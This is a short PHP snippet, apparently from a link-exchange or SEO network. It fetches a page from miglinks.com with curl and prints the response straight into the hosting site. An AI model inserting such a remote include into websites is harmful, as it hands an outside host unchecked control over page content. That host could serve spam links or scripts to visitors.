<?php $timeout = 2; // таймаут соединения с сервером в секундах $ul="https://miglinks.com/glnk.php?id=1385"; if ($ch = @curl_init()) { curl_setopt($ch, CURLOPT_URL, $ul); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_exec($ch); curl_close($ch); } ?>